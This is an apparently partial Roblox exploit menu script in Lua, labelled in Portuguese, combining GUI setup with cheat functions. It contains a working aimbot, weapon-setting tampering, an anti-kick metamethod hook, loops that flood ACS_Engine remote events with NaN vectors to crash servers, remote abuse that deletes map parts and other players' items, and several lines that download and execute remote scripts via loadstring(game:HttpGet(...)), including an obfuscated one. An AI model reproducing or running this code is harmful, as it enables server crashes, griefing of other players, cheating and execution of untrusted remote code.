ToolTXT.Text = "Tool Destruir"
ToolTXT.TextColor3 = Color3.fromRGB(255, 255, 255)
ToolTXT.TextScaled = true
ToolTXT.TextSize = 14.000
ToolTXT.TextWrapped = true
```

```
ToolPintarButton.Name = "ToolPintarButton"
ToolPintarButton.Parent = AbasMisc
ToolPintarButton.BackgroundColor3 = Color3.fromRGB(76, 76, 76)
ToolPintarButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
ToolPintarButton.Position = UDim2.new(1.50450993, 0, 0.510174572, 0)
ToolPintarButton.Size = UDim2.new(0, 11, 0, 11)
ToolPintarButton.Font = Enum.Font.SourceSans
ToolPintarButton.Text = ""
ToolPintarButton.TextColor3 = Color3.fromRGB(0, 0, 0)
```

ToolPintarButton.TextSize = 14.000

ToolTXT_2.Name = "ToolTXT"

ToolTXT_2.Parent = AbasMisc

ToolTXT_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

ToolTXT_2.BackgroundTransparency = 1.000

ToolTXT_2.Position = UDim2.new(1.55615318, 0, 0.508020639, 0)

ToolTXT_2.Size = UDim2.new(0, 69, 0, 14)

ToolTXT_2.Font = Enum.Font.DenkOne

ToolTXT_2.Text = "Tool Pinta"

ToolTXT_2.TextColor3 = Color3.fromRGB(255, 255, 255)

ToolTXT_2.TextScaled = true

ToolTXT_2.TextSize = 14.000

ToolTXT_2.TextWrapped = true

DeletarRoupaButton.Name = "DeletarRoupaButton"

DeletarRoupaButton.Parent = AbasMisc

DeletarRoupaButton.BackgroundColor3 = Color3.fromRGB(76, 76, 76)

DeletarRoupaButton.BorderColor3 = Color3.fromRGB(0, 0, 0)

DeletarRoupaButton.Position = UDim2.new(1.1007539, 0, 0.571150184, 0)

DeletarRoupaButton.Size = UDim2.new(0, 11, 0, 11)

DeletarRoupaButton.Font = Enum.Font.SourceSans

DeletarRoupaButton.Text = ""

DeletarRoupaButton.TextColor3 = Color3.fromRGB(0, 0, 0)

DeletarRoupaButton.TextSize = 14.000

ToolTXT_3.Name = "ToolTXT"

ToolTXT_3.Parent = AbasMisc

ToolTXT_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

ToolTXT_3.BackgroundTransparency = 1.000

ToolTXT_3.Position = UDim2.new(1.18056631, 0, 0.564931214, 0)

ToolTXT_3.Size = UDim2.new(0, 69, 0, 14)

ToolTXT_3.Font = Enum.Font.DenkOne

ToolTXT_3.Text = "Deletar Roupa"

ToolTXT_3.TextColor3 = Color3.fromRGB(255, 255, 255)

ToolTXT_3.TextScaled = true

ToolTXT_3.TextSize = 14.000

ToolTXT_3.TextWrapped = true

ToolTXT_4.Name = "ToolTXT"

ToolTXT_4.Parent = AbasMisc

ToolTXT_4.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

ToolTXT_4.BackgroundTransparency = 1.000

ToolTXT_4.Position = UDim2.new(1.5185945, 0, 0.568996251, 0)

ToolTXT_4.Size = UDim2.new(0, 69, 0, 14)

ToolTXT_4.Font = Enum.Font.DenkOne

ToolTXT_4.Text = "Creeper"

ToolTXT_4.TextColor3 = Color3.fromRGB(255, 255, 255)

```
ToolTXT_4.TextScaled = true
ToolTXT_4.TextSize = 14.000
ToolTXT_4.TextWrapped = true
```

```
CreeperButton.Name = "CreeperButton"
CreeperButton.Parent = AbasMisc
CreeperButton.BackgroundColor3 = Color3.fromRGB(76, 76, 76)
CreeperButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
CreeperButton.Position = UDim2.new(1.51859426, 0, 0.57521522, 0)
CreeperButton.Size = UDim2.new(0, 11, 0, 11)
CreeperButton.Font = Enum.Font.SourceSans
CreeperButton.Text = ""
CreeperButton.TextColor3 = Color3.fromRGB(0, 0, 0)
CreeperButton.TextSize = 14.000
```

```
DeletarMapaTXT.Name = "DeletarMapaTXT"
DeletarMapaTXT.Parent = AbasMisc
DeletarMapaTXT.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
DeletarMapaTXT.BackgroundTransparency = 1.000
DeletarMapaTXT.Position = UDim2.new(1.18056631, 0, 0.634036899, 0)
DeletarMapaTXT.Size = UDim2.new(0, 69, 0, 14)
DeletarMapaTXT.Font = Enum.Font.DenkOne
DeletarMapaTXT.Text = "Deletar Mapa"
DeletarMapaTXT.TextColor3 = Color3.fromRGB(255, 255, 255)
DeletarMapaTXT.TextScaled = true
DeletarMapaTXT.TextSize = 14.000
DeletarMapaTXT.TextWrapped = true
```

```
DeletarMapaButton.Name = "DeletarMapaButton"
DeletarMapaButton.Parent = AbasMisc
DeletarMapaButton.BackgroundColor3 = Color3.fromRGB(76, 76, 76)
DeletarMapaButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
DeletarMapaButton.Position = UDim2.new(1.10075378, 0, 0.636190832, 0)
DeletarMapaButton.Size = UDim2.new(0, 11, 0, 11)
DeletarMapaButton.Font = Enum.Font.SourceSans
DeletarMapaButton.Text = ""
DeletarMapaButton.TextColor3 = Color3.fromRGB(0, 0, 0)
DeletarMapaButton.TextSize = 14.000
```

```
DeletarMapaTXT_2.Name = "DeletarMapaTXT"
DeletarMapaTXT_2.Parent = AbasMisc
DeletarMapaTXT_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
DeletarMapaTXT_2.BackgroundTransparency = 1.000
DeletarMapaTXT_2.Position = UDim2.new(1.50450993, 0, 0.634036899, 0)
DeletarMapaTXT_2.Size = UDim2.new(0, 69, 0, 14)
DeletarMapaTXT_2.Font = Enum.Font.DenkOne
DeletarMapaTXT_2.Text = "Sound"
DeletarMapaTXT_2.TextColor3 = Color3.fromRGB(255, 255, 255)
```

```
DeletarMapaTXT_2.TextScaled = true
DeletarMapaTXT_2.TextSize = 14.000
DeletarMapaTXT_2.TextWrapped = true
```

```
SoundButton.Name = "SoundButton"
SoundButton.Parent = AbasMisc
SoundButton.BackgroundColor3 = Color3.fromRGB(76, 76, 76)
SoundButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
SoundButton.Position = UDim2.new(1.51859415, 0, 0.636190832, 0)
SoundButton.Size = UDim2.new(0, 11, 0, 11)
SoundButton.Font = Enum.Font.SourceSans
SoundButton.Text = ""
SoundButton.TextColor3 = Color3.fromRGB(0, 0, 0)
SoundButton.TextSize = 14.000
```

```
DeletarMapaTXT_3.Name = "DeletarMapaTXT"
DeletarMapaTXT_3.Parent = AbasMisc
DeletarMapaTXT_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
DeletarMapaTXT_3.BackgroundTransparency = 1.000
DeletarMapaTXT_3.Position = UDim2.new(1.09136438, 0, 0.69501251, 0)
DeletarMapaTXT_3.Size = UDim2.new(0, 69, 0, 14)
DeletarMapaTXT_3.Font = Enum.Font.DenkOne
DeletarMapaTXT_3.Text = "Build"
DeletarMapaTXT_3.TextColor3 = Color3.fromRGB(255, 255, 255)
DeletarMapaTXT_3.TextScaled = true
DeletarMapaTXT_3.TextSize = 14.000
DeletarMapaTXT_3.TextWrapped = true
```

```
BuiidButton.Name = "BuiidButton"
BuiidButton.Parent = AbasMisc
BuiidButton.BackgroundColor3 = Color3.fromRGB(76, 76, 76)
BuiidButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
BuiidButton.Position = UDim2.new(1.10075378, 0, 0.697166443, 0)
BuiidButton.Size = UDim2.new(0, 11, 0, 11)
BuiidButton.Font = Enum.Font.SourceSans
BuiidButton.Text = ""
BuiidButton.TextColor3 = Color3.fromRGB(0, 0, 0)
BuiidButton.TextSize = 14.000
```

-- Scripts:

```
local function NSBAVMQ_fake_script() -- Fundo.LocalScript
    local script = Instance.new('LocalScript', Fundo)

    local Button = script.Parent.ArmasButton
    local Menu = script.Parent.AbasArmas

    Button.MouseButton1Click:Connect(function()
```



```

        Menu.Visible = not Menu.Visible

        Button.BackgroundColor3 = (Menu.Visible and Color3.fromRGB(85, 255,
255)) or Color3.fromRGB(72, 72, 72)

    end)

    local Button = script.Parent.PlayersButton
    local Menu = script.Parent.AbasPlayers

    Button.MouseButton1Click:Connect(function()
        Menu.Visible = not Menu.Visible

        Button.BackgroundColor3 = (Menu.Visible and Color3.fromRGB(85, 255,
255)) or Color3.fromRGB(72, 72, 72)
    end)

    local Button = script.Parent.MiscButton
    local Menu = script.Parent.AbasMisc

    Button.MouseButton1Click:Connect(function()
        Menu.Visible = not Menu.Visible

        Button.BackgroundColor3 = (Menu.Visible and Color3.fromRGB(85, 255,
255)) or Color3.fromRGB(72, 72, 72)
    end)

    local Button = script.Parent.FarmButton
    local Menu = script.Parent.AbasFarm

    Button.MouseButton1Click:Connect(function()
        Menu.Visible = not Menu.Visible

        Button.BackgroundColor3 = (Menu.Visible and Color3.fromRGB(85, 255,
255)) or Color3.fromRGB(72, 72, 72)
    end)

end
coroutine.wrap(NSBAVMQ_fake_script)()
local function LPFKPF_fake_script() -- AbasArmas.LocalScript
    local script = Instance.new('LocalScript', AbasArmas)

    local Button = script.Parent.AimbotButton

    Button.MouseButton1Down:Connect(function()
        Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(85, 255,
255)) or Color3.fromRGB(72, 72, 72)

```

```

--// Preventing Multiple Processes

pcall(function()
    getgenv().Aimbot.Functions.Exit()
end)

--// Environment

getgenv().Aimbot = {}
local Environment = getgenv().Aimbot

--// Services

local RunService = game:GetService("RunService")
local UserInputService = game:GetService("UserInputService")
local HttpService = game:GetService("HttpService")
local TweenService = game:GetService("TweenService")
local StarterGui = game:GetService("StarterGui")
local Players = game:GetService("Players")
local Camera = game:GetService("Workspace").CurrentCamera

--// Variables

local LocalPlayer = Players.LocalPlayer
local Title = "Pedroxx Modz"
local FileNames = {"Aimbot", "Configuration.json", "Drawing.json"}
local Typing, Running, Animation, RequiredDistance, ServiceConnections =
false, false, nil, 2000, {}

--// Support Functions

local mousemoverel = mousemoverel or (Input and Input.MouseMove)
local queueonteleport = queue_on_teleport or syn.queue_on_teleport

--// Script Settings

Environment.Settings = {
    SendNotifications = true,
    SaveSettings = true, -- Re-execute upon changing
    ReloadOnTeleport = true,
    Enabled = true,
    TeamCheck = false,
    AliveCheck = true,
    WallCheck = false, -- Laggy
    Sensitivity = 0, -- Animation length (in seconds) before fully locking
    onto target

```

```
ThirdPerson = false, -- Uses mousemoverel instead of CFrame to
support locking in third person (could be choppy)
```

```
ThirdPersonSensitivity = 3, -- Boundary: 0.1 - 5
```

```
TriggerKey = "MouseButton2",
```

```
Toggle = false,
```

```
LockPart = "Head" -- Body part to lock on
```

```
}
```

```
Environment.FOVSettings = {
```

```
    Enabled = true,
```

```
    Visible = true,
```

```
    Amount = 90,
```

```
    Color = "255, 255, 255",
```

```
    LockedColor = "255, 70, 70",
```

```
    Transparency = 0.5,
```

```
    Sides = 60,
```

```
    Thickness = 1,
```

```
    Filled = false
```

```
}
```

```
Environment.FOVCircle = Drawing.new("Circle")
```

```
Environment.Locked = nil
```

```
--// Core Functions
```

```
local function Encode(Table)
```

```
    if Table and type(Table) == "table" then
```

```
        local EncodedTable = HttpService.JSONEncode(Table)
```

```
        return EncodedTable
```

```
    end
```

```
end
```

```
local function Decode(String)
```

```
    if String and type(String) == "string" then
```

```
        local DecodedTable = HttpService.JSONDecode(String)
```

```
        return DecodedTable
```

```
    end
```

```
end
```

```
local function GetColor(Color)
```

```
    local R = tonumber(string.match(Color,
"([%d]+)[%s]*,[%s]*[%d]+[%s]*,[%s]*[%d]+"))
```

```
    local G = tonumber(string.match(Color,
"%d]+[%s]*,[%s]*([%d]+)[%s]*,[%s]*[%d]+"))
```

```
    local B = tonumber(string.match(Color,
"%d]+[%s]*,[%s]*[%d]+[%s]*,[%s]*([%d]+"))
```

```

        return Color3.fromRGB(R, G, B)
    end

    local function SendNotification(TitleArg, DescriptionArg, DurationArg)
        if Environment.Settings.SendNotifications then
            StarterGui:SetCore("SendNotification", {
                Title = TitleArg,
                Text = DescriptionArg,
                Duration = DurationArg
            })
        end
    end

    --// Functions

    local function SaveSettings()
        if Environment.Settings.SaveSettings then
            if isfile(Title.." "..FileNames[1].." "..FileNames[2]) then
                writefile(Title.." "..FileNames[1].." "..FileNames[2],
Encode(Environment.Settings))
            end

            if isfile(Title.." "..FileNames[1].." "..FileNames[3]) then
                writefile(Title.." "..FileNames[1].." "..FileNames[3],
Encode(Environment.FOVSettings))
            end
        end
    end

    local function GetClosestPlayer()
        if not Environment.Locked then
            if Environment.FOVSettings.Enabled then
                RequiredDistance = Environment.FOVSettings.Amount
            else
                RequiredDistance = 2000
            end

            for _, v in next, Players:GetPlayers() do
                if v ~= LocalPlayer then
                    if v.Character and
v.Character:FindFirstChild(Environment.Settings.LockPart) and
v.Character:FindFirstChildOfClass("Humanoid") then
                        if Environment.Settings.TeamCheck and
v.Team == LocalPlayer.Team then continue end
                        if Environment.Settings.AliveCheck and
v.Character:FindFirstChildOfClass("Humanoid").Health <= 0 then continue end
                    end
                end
            end
        end
    end

```

```

if Environment.Settings.WallCheck and
#(Camera:GetPartsObscuringTarget({v.Character[Environment.Settings.LockPart].Position},
v.Character:GetDescendants())) > 0 then continue end

local Vector, OnScreen =
Camera:WorldToViewportPoint(v.Character[Environment.Settings.LockPart].Position)
local Distance =
(Vector2.new(UserInputService:GetMouseLocation().X,
UserInputService:GetMouseLocation().Y) - Vector2.new(Vector.X, Vector.Y)).Magnitude

if Distance < RequiredDistance and
OnScreen then
RequiredDistance = Distance
Environment.Locked = v
end
end
end
elseif (Vector2.new(UserInputService:GetMouseLocation().X,
UserInputService:GetMouseLocation().Y) -
Vector2.new(Camera:WorldToViewportPoint(Environment.Locked.Character[Environment.Se
ttings.LockPart].Position).X,
Camera:WorldToViewportPoint(Environment.Locked.Character[Environment.Settings.LockP
art].Position).Y)).Magnitude > RequiredDistance then
Environment.Locked = nil
Animation:Cancel()
Environment.FOVCircle.Color =
GetColor(Environment.FOVSettings.Color)
end
end

--// Typing Check

ServiceConnections.TypingStartedConnection =
UserInputService.TextBoxFocused:Connect(function()
Typing = true
end)

ServiceConnections.TypingEndedConnection =
UserInputService.TextBoxFocusReleased:Connect(function()
Typing = false
end)

--// Create, Save & Load Settings

if Environment.Settings.SaveSettings then
if not isfolder(Title) then
makefolder(Title)

```

```

        end

        if not isfolder(Title.."\"..FileNames[1]) then
            makefolder(Title.."\"..FileNames[1])
        end

        if not isfile(Title.."\"..FileNames[1].."\"..FileNames[2]) then
            writefile(Title.."\"..FileNames[1].."\"..FileNames[2],
Encode(Environment.Settings))
        else
            Environment.Settings =
Decode(readfile(Title.."\"..FileNames[1].."\"..FileNames[2]))
        end

        if not isfile(Title.."\"..FileNames[1].."\"..FileNames[3]) then
            writefile(Title.."\"..FileNames[1].."\"..FileNames[3],
Encode(Environment.FOVSettings))
        else
            Environment.Visuals =
Decode(readfile(Title.."\"..FileNames[1].."\"..FileNames[3]))
        end

        coroutine.wrap(function()
            while wait(10) and Environment.Settings.SaveSettings do
                SaveSettings()
            end
        end)()
    else
        if isfolder(Title) then
            delfolder(Title)
        end
    end
end

local function Load()
    ServiceConnections.RenderSteppedConnection =
RunService.RenderStepped:Connect(function()
    if Environment.FOVSettings.Enabled and
Environment.Settings.Enabled then
        Environment.FOVCircle.Radius =
Environment.FOVSettings.Amount
        Environment.FOVCircle.Thickness =
Environment.FOVSettings.Thickness
        Environment.FOVCircle.Filled =
Environment.FOVSettings.Filled
        Environment.FOVCircle.NumSides =
Environment.FOVSettings.Sides
        Environment.FOVCircle.Color =
GetColor(Environment.FOVSettings.Color)
    end
end)
end

```

```

        Environment.FOVCircle.Transparency =
Environment.FOVSettings.Transparency
        Environment.FOVCircle.Visible =
Environment.FOVSettings.Visible
        Environment.FOVCircle.Position =
Vector2.new(UserInputService:GetMouseLocation().X,
UserInputService:GetMouseLocation().Y)
    else
        Environment.FOVCircle.Visible = false
    end

    if Running and Environment.Settings.Enabled then
        GetClosestPlayer()

        if Environment.Settings.ThirdPerson then
            Environment.Settings.ThirdPersonSensitivity =
math.clamp(Environment.Settings.ThirdPersonSensitivity, 0.1, 5)

            local Vector =
Camera:WorldToViewportPoint(Environment.Locked.Character[Environment.Settings.LockP
art].Position)
            mousemoverel((Vector.X -
UserInputService:GetMouseLocation().X) * Environment.Settings.ThirdPersonSensitivity,
(Vector.Y - UserInputService:GetMouseLocation().Y) *
Environment.Settings.ThirdPersonSensitivity)
        else
            if Environment.Settings.Sensitivity > 0 then
                Animation =
TweenService:Create(Camera, TweenInfo.new(Environment.Settings.Sensitivity,
Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {CFrame =
CFrame.new(Camera.CFrame.Position,
Environment.Locked.Character[Environment.Settings.LockPart].Position)})
                Animation:Play()
            else
                Camera.CFrame =
CFrame.new(Camera.CFrame.Position,
Environment.Locked.Character[Environment.Settings.LockPart].Position)
            end
        end
    end

    Environment.FOVCircle.Color =
GetColor(Environment.FOVSettings.LockedColor)
end
end)

ServiceConnections.InputBeganConnection =
UserInputService.InputBegan:Connect(function(Input)
    if not Typing then

```

```

        pcall(function()
            if Input.KeyCode ==
Enum.KeyCode[Environment.Settings.TriggerKey] then
                if Environment.Settings.Toggle then
                    Running = not Running

                    if not Running then
                        Environment.Locked = nil
                        Animation:Cancel()

Environment.FOVCircle.Color = GetColor(Environment.FOVSettings.Color)
                    end
                else
                    Running = true
                end
            end
        end)
    end)

```

```

        pcall(function()
            if Input.UserInputType ==
Enum.UserInputType[Environment.Settings.TriggerKey] then
                if Environment.Settings.Toggle then
                    Running = not Running

                    if not Running then
                        Environment.Locked = nil
                        Animation:Cancel()

Environment.FOVCircle.Color = GetColor(Environment.FOVSettings.Color)
                    end
                else
                    Running = true
                end
            end
        end)
    end
end)

```

```

        ServiceConnections.InputEndedConnection =
UserInputService.InputEnded:Connect(function(Input)
            if not Typing then
                pcall(function()
                    if Input.KeyCode ==
Enum.KeyCode[Environment.Settings.TriggerKey] then
                        if not Environment.Settings.Toggle then
                            Running = false
                            Environment.Locked = nil
                            Animation:Cancel()

```



```

Environment.FOVCircle.Color =
GetColor(Environment.FOVSettings.Color)
end
end
end)

pcall(function()
    if Input.UserInputType ==
Enum.UserInputType[Environment.Settings.TriggerKey] then
        if not Environment.Settings.Toggle then
            Running = false
            Environment.Locked = nil
            Animation:Cancel()
            Environment.FOVCircle.Color =
GetColor(Environment.FOVSettings.Color)
end
end
end)
end
end)

end

--// Functions

Environment.Functions = {}

function Environment.Functions:Exit()
    SaveSettings()

    for _, v in next, ServiceConnections do
        v:Disconnect()
    end

    if Environment.FOVCircle.Remove then
Environment.FOVCircle:Remove() end

        getgenv().Aimbot.Functions = nil
        getgenv().Aimbot = nil
    end

function Environment.Functions:Restart()
    SaveSettings()

    for _, v in next, ServiceConnections do
        v:Disconnect()
    end

    Load()

```

```

end

function Environment.Functions:ResetSettings()
    Environment.Settings = {
        SendNotifications = true,
        SaveSettings = true, -- Re-execute upon changing
        ReloadOnTeleport = true,
        Enabled = true,
        TeamCheck = false,
        AliveCheck = true,
        WallCheck = false,
        Sensitivity = 0, -- Animation length (in seconds) before fully
locking onto target

        ThirdPerson = false,
        ThirdPersonSensitivity = 3,
        TriggerKey = "MouseButton2",
        Toggle = false,
        LockPart = "Head" -- Body part to lock on
    }

    Environment.FOVSettings = {
        Enabled = true,
        Visible = true,
        Amount = 90,
        Color = "255, 255, 255",
        LockedColor = "255, 70, 70",
        Transparency = 0.5,
        Sides = 60,
        Thickness = 1,
        Filled = false
    }
end

--// Support Check

if not Drawing or not getgenv then
    SendNotification(Title, "Seu exploit não suporta o pedroxz menu", 3);
return
end

--// Reload On Teleport

if Environment.Settings.ReloadOnTeleport then
    if queueonteleport then

queueonteleport(game:HttpGet("https://raw.githubusercontent.com/Exunys/Aimbot-V2/main/
Resources/Scripts/Main.lua"))
    else

```

```

SendNotification(Title, "Your exploit does not support
\"syn.queue_on_teleport()\")
end
end

--// Load

Load(); SendNotification(Title, "teste.", 5)

end)

local Button = script.Parent.BalasportirrosButton

Button.MouseButton1Down:Connect(function()
    Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(85, 255,
255)) or Color3.fromRGB(72, 72, 72)

    for i,v in
pairs(game:GetService("Players").LocalPlayer.Backpack:GetDescendants()) do
        if v:IsA("ModuleScript") and v.Name == "Settings" then
            local a = require(v)
            a.Bullets = 9
            a.Mode = "Auto"
            a.VRecoil = {0,0}
            a.HRecoil = {0,0}
            a.Distance = 100000000
            a.BDrop = 0
            a.RandomTracer = false
            a.TracerEveryXShots = 1
            a.FireRate = 950
            a.FocusOnSight = true
            for i,v in pairs(a) do
                print(i,v)
            end
        end
    end
end

end)

local Button = script.Parent.BalaExplosivoButton

Button.MouseButton1Down:Connect(function()
    Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(85, 255,
255)) or Color3.fromRGB(72, 72, 72)

    for i,v in
pairs(game:GetService("Players").LocalPlayer.Backpack:GetDescendants()) do
        if v:IsA("ModuleScript") and v.Name == "Settings" then

```

```

        local a = require(v)
        a.ExplosiveHit = true
        a.Expradius = 50
    end
end

end)

local Button = script.Parent.DispensadordebalasButton

Button.MouseButton1Down:Connect(function()
    Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(85, 255,
255)) or Color3.fromRGB(72, 72, 72)

    for i,v in
pairs(game:GetService("Players").LocalPlayer.Backpack:GetDescendants()) do
        if v:IsA("ModuleScript") and v.Name == "Settings" then
            local a = require(v)
            a.WalkMultiplier = 0
            for i,v in pairs(a) do
                print(i,v)
            end
        end
    end
end

end)

local Button = script.Parent.GiveArmasButton

Button.MouseButton1Down:Connect(function()
    Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(38, 112,
112)) or Color3.fromRGB(72, 72, 72)

    for i, v in pairs(game:GetService('Teams'):GetDescendants()) do
        if v:IsA('Tool') then
            v.Parent = game:GetService('Players').LocalPlayer.Backpack
        end
    end

end

game:GetService('Players').LocalPlayer.Character.Humanoid.Died:Connect(function()
    for i, v in
pairs(game:GetService('Players').LocalPlayer.Backpack:GetDescendants()) do
        if v:IsA('Tool') then
            v.Parent = game:GetService('Teams')
        end
    end
    end
    for i, v in
pairs(game:GetService('Players').LocalPlayer.Character:GetDescendants()) do

```

```

                if v:IsA('Tool') then
                    v.Parent = game:GetService('Teams')
                end
            end
        end)

    end)

    local Button = script.Parent.HubArmasButton

    Button.MouseButton1Down:Connect(function()
        Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(38, 112, 112)) or Color3.fromRGB(72, 72, 72)

        print('faltou aqui sua putinha')

    end)

end
coroutine.wrap(LPFPKP_fake_script)()
local function DHPEQI_fake_script() -- AbasPlayers.LocalScript
    local script = Instance.new('LocalScript', AbasPlayers)

    local Button = script.Parent.InfiniteYieldButton

    Button.MouseButton1Down:Connect(function()
        Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(38, 112, 112)) or Color3.fromRGB(72, 72, 72)

loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source'))()

    end)

    local Button = script.Parent.OrcaButton

    Button.MouseButton1Down:Connect(function()
        Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(38, 112, 112)) or Color3.fromRGB(72, 72, 72)

loadstring(game:HttpGet(('https://raw.githubusercontent.com/debug420/Ez-Industries-Launcher-Data/master/Launcher.lua'),true))()

    end)

    local Button = script.Parent.UnnamedESPButton

```

```
        Button.MouseButton1Down:Connect(function()
            Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(38, 112,
112)) or Color3.fromRGB(72, 72, 72)
```

```
loadstring(game:HttpGet('https://raw.githubusercontent.com/ic3w0lf22/Unnamed-ESP/master/UnnamedESP.lua'))()
```

```
end)
```

```
local Button = script.Parent.templehookButton
```

```
        Button.MouseButton1Down:Connect(function()
            Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(38, 112,
112)) or Color3.fromRGB(72, 72, 72)
```

```
            loadstring(game:HttpGet("https://bifao.tech/templehook/loader.lua",true))()
```

```
end)
```

```
local Button = script.Parent.FelipeMenuButton
```

```
        Button.MouseButton1Down:Connect(function()
            Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(38, 112,
112)) or Color3.fromRGB(72, 72, 72)
```

```
loadstring(game:HttpGet('https://raw.githubusercontent.com/DebugCrazY/FMobfuscated/main/fm.lua'))()
```

```
end)
```

```
end
```

```
coroutine.wrap(DHPEQI_fake_script)()
```

```
local function AGEZPL_fake_script() -- AbasFarm.LocalScript
```

```
    local script = Instance.new('LocalScript', AbasFarm)
```

```
    local Button = script.Parent.autojjsButton
```

```
        Button.MouseButton1Down:Connect(function()
            Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(38, 112,
112)) or Color3.fromRGB(72, 72, 72)
```

```
--// Variables
```

```
local Players = game:GetService("Players")
```

```
local OldNameCall = nil
```

```
--// Global Variables
```

getgenv().SendNotifications = true -- Set to true if you want to get notified regularly.

--// Anti Kick Hook

```
OldNameCall = hookmetamethod(game, "__namecall", function(Self, ...)
    local NameCallMethod = getnamecallmethod()
```

```
    if tostring(string.lower(NameCallMethod)) == "kick" then
        if getgenv().SendNotifications == true then
            game:GetService("StarterGui"):SetCore("SendNotification", {
                Title = "Pedroxx Delevoper",
                Text = "You almost got kicked! Successfully prevented.",
                Icon = "rbxassetid://6238540373",
                Duration = 3,
            })
        end
    end
```

```
    return nil
end
```

```
    return OldNameCall(Self, ...)
end)
```

```
if getgenv().SendNotifications == true then
    game:GetService("StarterGui"):SetCore("SendNotification", {
        Title = "Pedroxx Delevoper",
        Text = "Anti-Kick Script Carregado(Caso for kickado e normal porque o jogo tem ante
cheater)",
        Icon = "rbxassetid://6238537240",
        Duration = 5,
    })
end
end)

end
```

```
coroutine.wrap(AGEGZPL_fake_script)()
local function MNUUFEZ_fake_script() -- AbasMisc.LocalScript
    local script = Instance.new('LocalScript', AbasMisc)

    local Button = script.Parent.AlterarNumberValueacs2Button

    Button.MouseButton1Down:Connect(function()
        Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(38, 112,
112)) or Color3.fromRGB(72, 72, 72)
```

```
        local rmt =
game:service('ReplicatedStorage')['ACS_Engine'].Events:FindFirstChild("Refil")
```

```

        for i,v in pairs(game:GetDescendants()) do
            if v:IsA("IntValue") or v:IsA('243000000') then
                rmt:FireServer(v,-(d-v.Value))
            end
        end

    end)

    local Button = script.Parent.Construiracs2Button

    Button.MouseButton1Down:Connect(function()
        Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(38, 112,
112)) or Color3.fromRGB(72, 72, 72)

        print('esqueceu de colocar script aqui sua vadia')

    end)

    local Button = script.Parent.Crashacs1Button

    Button.MouseButton1Down:Connect(function()
        Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(38, 112,
112)) or Color3.fromRGB(72, 72, 72)

        while true do
            for i=1,10 do

game.ReplicatedStorage.ACS_Engine.Eventos.ServerBullet:FireServer(Vector3.new(0/0/0),
Vector3.new(0/0/0))

                end
                task.wait()
            end

        end)

    local Button = script.Parent.Crashacs2Button

    Button.MouseButton1Down:Connect(function()
        Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(38, 112,
112)) or Color3.fromRGB(72, 72, 72)

        while true do
            for i=1,10 do

game.ReplicatedStorage.ACS_Engine.Events.ServerBullet:FireServer(Vector3.new(0/0/0),V
ector3.new(0/0/0))

                end
                task.wait()
            end
        end
    end)

```



```

        end

    end)

    local Button = script.Parent.CreeperButton

    Button.MouseButton1Down:Connect(function()
        Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(38, 112, 112)) or Color3.fromRGB(72, 72, 72)

        local rmt = game.service'ReplicatedStorage':FindFirstChild("DeleteCar")
        for i,v in pairs(game.GetService("Workspace"):GetDescendants()) do
            if v:IsA("SpecialMesh") or v:IsA("Shirt") or v:IsA("Pants") or
v:IsA("Part") and v.Name == "Right Arm" or v.Name == "Left Arm" then
                rmt:FireServer(v)
            end
        end

    end)

    local Button = script.Parent.BuiidButton

    Button.MouseButton1Down:Connect(function()
        Button.BackgroundColor3 = (Button.Visible and Color3.fromRGB(38, 112, 112)) or Color3.fromRGB(72, 72, 72)

        local vec = CFrame.new()
        local plr = game.Players.LocalPlayer
        local n = plr.Name
        if workspace[n]:FindFirstChild('ACS_Client') then
            if workspace[n]['ACS_Client']:FindFirstChild('Kit') then
                if workspace[n]['ACS_Client'].Kit:FindFirstChild('Fortifications')
then
                    if workspace[n]['ACS_Client'].Kit.Fortifications.Value <
100 then

game.ReplicatedStorage.ACS_Engine.Events.Refil:FireServer(game.Players.LocalPlayer.Ch
aracter.ACS_Client.Kit.Fortifications, -99999999)
                    end
                end
            end
        end

    end)

    game.ReplicatedStorage.ACS_Engine.Events.Breach:InvokeServer(3,{Fortified={},Destroya
ble=workspace},vec,vec,{CFrame=workspace.Camera.CFrame*CFrame.new(0,30,10),Size=
{X=30.164,Y=1.176,Z=0.857}})

    game.ReplicatedStorage.ACS_Engine.Events.Breach:InvokeServer(3,{Fortified={},Destroya

```

```
ble=workspace},vec,vec,{CFrame=workspace.Camera.CFrame*CFrame.new(-7,43,10),Size={X=14.893,Y=1.176,Z=0.857}})
```

```
game.ReplicatedStorage.ACS_Engine.Events.Breach:InvokeServer(3,{Fortified={},Destroyable=workspace},vec,vec,{CFrame=workspace.Camera.CFrame*CFrame.new(7,17,10),Size={X=14.893,Y=1.176,Z=0.857}})
```

```
game.ReplicatedStorage.ACS_Engine.Events.Breach:InvokeServer(3,{Fortified={},Destroyable=workspace},vec,vec,{CFrame=workspace.Camera.CFrame*CFrame.new(-15,23.2,10),Size={X=1.198,Y=14.893,Z=0.857}})
```

```
